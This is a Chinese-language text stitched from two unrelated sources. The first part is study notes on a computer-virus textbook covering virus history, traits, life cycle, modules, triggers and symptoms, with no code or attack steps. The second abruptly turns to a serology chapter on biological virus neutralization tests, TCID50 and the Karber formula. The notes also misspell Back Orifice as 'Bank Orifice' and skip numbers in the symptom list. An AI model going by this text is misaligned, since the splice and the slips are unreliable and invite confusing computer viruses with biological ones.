《计算机病毒原理及防范技术》----秦志光张凤荔刘峭著 43.8万字 第1章计算机病毒概述 1.1.1计算机病毒的起源----第一种为科学幻想起源说，第二种为恶作剧，第三种为戏程序（70年代，贝尔实验室，Core War）, 第四种为软件商保护软件起源说。 1.计算机病毒的发展历史-----第一代病毒，传统的病毒， 第二代病毒（1989-1991年），混合型病毒（或“超级病毒”），采取了自我保护措施（如加密技术，反跟踪技术）；第三代病毒(1992-1995年)多态性病毒（自我变形病毒）首创者Mark Washburn-----“1260病毒”；最早的多态性的实战病毒----“黑夜复仇者”（Dark Avenger）的变种MutationDark Avenger ；1992年第一个多态性计算机病毒生成器MtE,第一个计算机病毒构造工具集（Virus Construction Sets）----“计算机病毒创建库”（Virus Create Library）, ”幽灵”病毒；第四代病毒（1996-至今），使用文件传输协议（FTP）进行传播的蠕虫病毒，破坏计算机硬件的CIH，远程控制工具“后门”（Bank Orifice）,”网络公共汽车”（NetBus）等。 2.计算机病毒的基本特征----1.程序性（利用计算机软、硬件所固有的弱点所编制的、具有特殊功能的程序），2、传染性，3、隐蔽性（兼容性、程序不可见性）4、潜伏性（“黑色星期五”，“上海一号”，CIH）,5、破坏性，6、可触发性，7、不可预见性，8、针对性，9、非授权可执行性，10、衍生性。 1.2.2.计算机病毒在网络环境下表现的特征------1.电子邮件成主要媒介（QQ，MSN等即时通讯软件，可移动存储设备，网页，网络主动传播，网络，“钓鱼”），2.与黑客技术相融合（“Nimda”,CodeRed,”求职信”），3.采取了诸多的自我保护机制（逃避、甚至主动抑制杀毒软件），4.采用压缩技术（压缩变形----特征码改变，压缩算法，“程序捆绑器”），5.影响面广，后果严重，6.病毒编写越来越简单，7.摆脱平台依赖性的“恶意网页”。 1.2.3.计算机病毒的生命周期----1.孕育期（程序设计，传播），2.潜伏感染期，3.发病期，4.发现期，5.消化期，6.消亡期。 第2章计算机病毒的工作机制 2.1.1计算机病毒的典型组成三大模块-----1.引导模块（将病毒引入计算机内存，为传染模块和表现模块设置相应的启动条件），2.感染模块（两大功能-----1.依据引导模块设置的传染条件，做判断；2启动传染功能）， 3.表现模块（两大功能----依据引导模块设置的触发条件，做判断；或者说表现条件判断子模块 2.1启动病毒，即表现功能实现子模块） 2.2.1计算机病毒的寄生方式-----1.替代法（寄生在磁盘引导扇区）；2.链接法（链接在正常程序的首部、尾部、或中间）。 2.2.2．计算病毒的引导过程-----1。驻留内存，2.获得系统控制权， 3.恢复系统功能。 2.4.1.计算机病毒的触发机制----1.日期，2.时间， 3.键盘 4.感染触发， 5.启动， 6.访问磁盘次数， 7.调用中断功能触发， 8.CPU型号/主板型号触发。 第三章计算机病毒的表现 3.1.计算机病毒发作前的表现----1.经常无故死机，操作系统无法正常启动，运行速度异常， 4.内存不足的错误， 5.打印、通信及主机接口发生异常， 6.无意中要求对软盘进行写操作， 7.以前能正常运行的应用程序经常死机或者出现非法错误， 8.系统文件的时、日期和大小发生变化， 9.宏病毒的表现现象，10、磁盘空间迅速减少，11.网络驱动器卷或者共享目录无法调用，陌生人发来的电子邮件，13.自动链接到一些陌生的网站。
第五节 中和试验
第十一章血清学试验 第五节中和试验 根据抗体能否中和病毒的感染性而建立的免疫学试验，称中和试验(Neutralization test）。中和试验极为特异和敏感，既能定性又能定量，主要用于病毒感染的血清学诊断、病毒分离株的鉴定、病毒抗原性的分析、疫苗免疫原性的评价、血清抗体效价的检测等。中和试验可在体内进行也可在体外进行。 体内中和试验也称保护试验，试验时先对实验动物接种疫苗或抗血清，间隔一定时间后，再用一定量病毒攻击，最后根据动物是否得到保护来判定结果。常用于疫苗免疫原性的评价和抗血清的质量评价。 体外中和试验是将抗血清与病毒混合，在适当条件下作用一定时间后，接种于敏感细胞、鸡胚或动物，以检测混合液中病毒的感染力。根据保护效果的差异，判断该病毒是否已被中和，并可计算中和指数，即中和抗体的效价。根据测定方法不同，中和试验有终点法中和试验和空斑减数法中和试验等方法。 毒素和抗毒素也可进行中和试验。其方法与病毒的中和试验基本相同。 一、终点法中和试验 终点法中和试验（Endpoint neutralization test）是滴定使病毒感染力减少至50%时，血清的中和效价或中和指数。有固定病毒稀释血清和固定血清稀释病毒两种方法。 (一)固定病毒稀释血清法将已知的病毒量固定，血清作倍比稀释，常用于测定抗血清的中和效价。 1.病毒毒价单位病毒毒价(毒力)的单位过去多用最小致死量(MLD)，但由于剂量的递增与死亡率递增的关系不是一条直线，而是呈S形曲线，在越接近100％死亡时，对剂量的递增越不敏感。而死亡率愈接近50%时，剂量与死亡率呈 直线关系，所以现基本上采用半数致死量(LD 50)作为毒价单位，而且LD 50 的计算应 用了统计学方法，减少了个体差异的影响，因此比较准确。以感染发病作为指标 的，可用半数感染量(ID 50)。用鸡胚测定时，可用鸡胚半数致死量(ELD 50 )或鸡胚 半数感染量(EID 50)；用细胞培养测定时，可用组织细胞半数感染量(TCID 50 )。在 测定疫苗的免疫性能时，则用半数免疫量(IMD 50)或半数保护量(PD 50 )。 2.病毒毒价测定将病毒原液作10倍递进稀释即10-1、10-2、10-3……，选择4～6个稀释倍数接种一定体重的试验动物(或鸡胚、细胞)，每组3～6只(个、孔)。接种后，观察一定时间内的死亡(或出现细胞病变)数和生存数。根据累计死亡数和生存数计算致死百分率。然后按Reed-Muench法、内插法或Karber法计算半数剂量。 以TCID 50 测定为例说明如下： 按Karber法计算，其公式为lgTCID 50 =L+d(S-0.5)，L为病毒最低稀释度的对数；d为组距，即稀释系数，10倍递进稀释时d为-1；S为死亡比值之和（计算固定病毒稀释血清法中和试验效价时，S应为保护比值之和），即各组死亡（感染）数/试验数相加。